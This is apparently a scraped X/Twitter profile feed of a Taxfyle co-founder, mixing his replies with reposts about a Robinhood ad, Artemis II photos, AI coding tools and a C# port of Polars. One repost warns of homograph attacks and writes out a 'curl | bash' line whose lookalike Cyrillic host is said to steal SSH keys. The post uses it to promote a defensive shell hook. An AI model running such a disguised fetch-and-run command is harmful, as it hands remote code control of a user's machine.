Will Sahatdjian

engineer, designer, dj, co-founder of @taxfyle

[Will Sahatdjian @kwcto]

Proud to see this going live 👏

[Robinhood @RobinhoodApp]

We’re testing something new.

Full-service tax filing. Estate planning. And a dedicated CFP® professional. Plus a 1% match on all transfers from another brokerage. Terms apply.

This isn’t DIY taxes or AI-generated guidance. These are premium Concierge Services, delivered through trusted partners and built into the app you already use.

To qualify, transfer at least $500K and maintain $1M+ in assets on Robinhood, or refer a friend who meets the criteria and you'll both get access.

Want in? Now’s the time—spots are limited. Learn more and request access now: https://t.co/Xb6NbSmliE

[Will Sahatdjian @kwcto]

@basementstudio This is really nice! Needs masking layers (image/gradient) and grouping. That would enable a lot more versatility (ex: sweeping gradient mask that reveals an ASCII effect)

[Andrew McCarthy @AJamesMcCarthy]

I tried my hand at processing the public jpeg of the recent Earth photo shared by the Artemis II crew.

Despite just using compressed data, I was able to correct some of the motion blur and smooth out some noise to make the photo a bit cleaner.

Should I do this for more photos?

[NASA Artemis @NASAArtemis]

Earthset.

The Artemis II crew captured this view of an Earthset on April 6, 2026, as they flew around the Moon. The image is reminiscent of the iconic Earthrise image taken by astronaut Bill Anders 58 years earlier as the Apollo 8 crew flew around the Moon.

[Christos Tzamos @ChristosTzamos]

1/4 LLMs solve research grade math problems but struggle with basic calculations. We bridge this gap by turning them to computers.

We built a computer INSIDE a transformer that can run programs for millions of steps in seconds solving even the hardest Sudokus with 100% accuracy

[Sheeki @sheeki03]

Be honest. When was the last time you actually read a command before pasting it into your terminal?

Because these two lines look identical:

curl -sSL https://install.example-cli | bash
curl -sSL https://іnstall.example-clі | bash

One installs your tool. The other steals your SSH keys.

That і? Cyrillic. Not Latin. Your browser would block it. Your terminal doesn't even blink.

Vibe coding made this 100x worse. Everyone's pasting commands from ChatGPT and random repos like it's nothing. We're all one bad curl | bash away from losing everything.

So I built the fix: "tirith". Invisible shell hook. Catches homograph attacks, ANSI injection, hidden commands, dotfile overwrites before they execute. 30 rules. Local only. No telemetry.

https://t.co/tIb4xThUn5

[Robinhood @RobinhoodApp]

We’re testing something new.

Full-service tax filing. Estate planning. And a dedicated CFP® professional. Plus a 1% match on all transfers from another brokerage. Terms apply.

This isn’t DIY taxes or AI-generated guidance. These are premium Concierge Services, delivered through trusted partners and built into the app you already use.

To qualify, transfer at least $500K and maintain $1M+ in assets on Robinhood, or refer a friend who meets the criteria and you'll both get access.

Want in? Now’s the time—spots are limited. Learn more and request access now: https://t.co/Xb6NbSmliE

[Numman Ali @nummanali]

Claude Code v2.1.16 adds new task management system with full dependency tracking

I demoed this through CC Mirror a few weeks ago and it was extremely powerful

Watch the full video - this is going to change the way you work forever

Each task can be assigned to sub agents in parallel and they can easily pick up tasks as they become unblocked

[Will Sahatdjian @kwcto]

@TheCinesthetic high art - hopefully there is still enough of a market for traditional cinema in the coming era

[Rohan Paul @rohanpaul_ai]

Shane Legg, Chief AGI Scientist and co-founder of Google DeepMind, calls the human brain a "mobile processor" compared to what’s coming.

- The human brain is essentially a low-power, 20-watt mobile processor constrained by biology.

- While our internal neural signals crawl at just 30 meters per second, AI data travels at the speed of light.

- Biological neurons typically fire at rates up to 100–200 Hz (with averages much lower, around 0.1–2 Hz, and some peaking at ~450 Hz), whereas modern silicon chips operate at clock speeds typically up to 6 billion Hz.

i.e. Silicon is about 60million times faster

- The physical gap is astronomical: AI hardware possesses a 6 to 8 order of magnitude advantage in speed, bandwidth, and scale.

- Is human intelligence the universal upper limit? Shane Legg argues "absolutely not."

- Just as humans cannot physically outlift a crane or outrun a dragster, our biological cognition cannot compete with industrial-scale compute.

- As we master the architecture of intelligence, AI is mathematically destined to far exceed the capabilities of the human mind.

---

From 'Google DeepMind and Hannah Fry' YT Channel (link in comment)

[Will Sahatdjian @kwcto]

I ported most of @polars to C# with claude code and opus 4.5 in 2 hours(!) -> https://t.co/qaUpPlNWSO

- Core data types and Series
- DataFrame operations
- Expression system
- Lazy evaluation with query optimization
- GroupBy aggregations
- Join operations
- String and DateTime operations
- CSV/Parquet/JSON/NDJSON I/O
- SIMD-optimized aggregations

~1.5-4x gap against highly-optimized Rust with architecture-specific SIMD intrinsics (AVX2/AVX512)

[Will Sahatdjian @kwcto]

@levelsio Don’t eat frozen vegetables if you can avoid it. Lots of water soluble vitamins are destroyed

[Will Sahatdjian @kwcto]

@TheCinesthetic I really can't wait for tasteful, subtle AI remasters to breathe new life into older sci fi cinema

[Will Sahatdjian @kwcto]

@solosvtuber Good looking out!

[Will Sahatdjian @kwcto]

@henrythe9ths Fundraise

[Will Sahatdjian @kwcto]

@andrewdsouza @boardyai Boardy

[SMX 🇺🇸 @iam_smx]

We want Jared Isaacman as NASA Administrator, let meritocracy lead the way

[Will Sahatdjian @kwcto]

@NirZicherman @0xAvious @oboelabs So NotebookLM with Duolingo gamification?